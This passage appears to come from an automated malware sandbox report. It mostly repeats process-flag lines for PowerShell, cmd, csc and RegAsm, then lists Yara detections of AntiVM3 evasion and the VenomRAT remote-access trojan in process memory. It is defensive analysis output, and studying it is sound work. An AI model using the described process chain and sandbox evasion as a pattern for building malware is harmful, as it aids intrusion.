Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Yara detected VenomRAT

Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

